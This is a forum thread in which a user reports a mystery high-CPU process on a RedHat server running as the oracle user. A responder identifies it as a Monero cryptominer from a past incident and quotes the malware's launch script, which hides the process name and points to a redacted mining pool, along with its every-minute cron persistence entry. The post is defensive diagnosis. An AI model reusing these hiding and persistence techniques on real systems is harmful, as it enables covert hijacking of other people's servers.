why do i have that unnatural process on my server i have an abnormal process on my RedHat server i tried to kill it but it appears again and because of that process i can't start my fusion middleware
any ideas please
when I execute the command TOP that line appear
pid     user               cpu   command
31183   oracle            598     .
I have seen something similar to this once on a clients system about 1,5 years ago, in
2019 January.
The symptoms were also similar. Even the 600% CPU usage was the same.
In that case, the command was disguised as ld-linux-x86-64, not ., something like this:
  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
23971 oracle    20   0  592404   5616   4788 S 593,8  0,0  20:40.20 ld-linux-x86-64

top does not display the whole command in its output.
If the command used is ld-linux-x86-64                                                                                                                                                                                                                                                    something (with lot of spaces), then if your terminal is not big enough, top will just display ld-linux-x86-64          with some spaces until the end of line.
However, checking with ps, I was able to see the whole command (I trimmed some of the spaces for readability).
ps -ef | grep 23971

oracle   23971     1 99 16:53 ?        00:21:37 -bash ...          ... --library-path stak stak/xmrig

The owners of this server (dont ask me why) allowed direct SSH access from public internet to this server. The password of oracle user was also quite simple. The process belonged to a cryptocurrency malware, and if I remember correct, it was mining Monero cryptocurrency. I also found the remote address it sent it in less /home/oracle/.ssh/stak/config.json.
This is how it hid itself (I removed the remote server address and credential from the script below...):
$ cat /home/oracle/.ssh/run
#!/bin/bash
#ps aux | grep -vw xmr-stak | awk '{if($3&gt;40.0) print $2}' | while read procid
#do
#kill -9 $procid
#done
proc=`nproc`
ARCH=`uname -m`
HIDE=&quot;-bash&quot;

if [ &quot;$ARCH&quot; == &quot;i686&quot; ];       then
        ./h32 -s $HIDE ./md32 -a cryptonight -o stratum+tcp://xxx.xxx.xxx.xxx:xxxx -u ... -p x &gt;&gt;/dev/null &amp;
elif [ &quot;$ARCH&quot; == &quot;x86_64&quot; ];   then
        ./h64 -s $HIDE ./stak/ld-linux-x86-64.so.2 --library-path stak stak/xmrig &gt;&gt;/dev/null &amp;
fi
echo $! &gt; bash.pid
           

Killing it did not stop it as it scheduled itself in cron and checked itself every minute:
$ crontab -l
* * * * * /home/oracle/.ssh/upd &gt;/dev/null 2&gt;&amp;1

To be honest, I do not think this is an Oracle issue...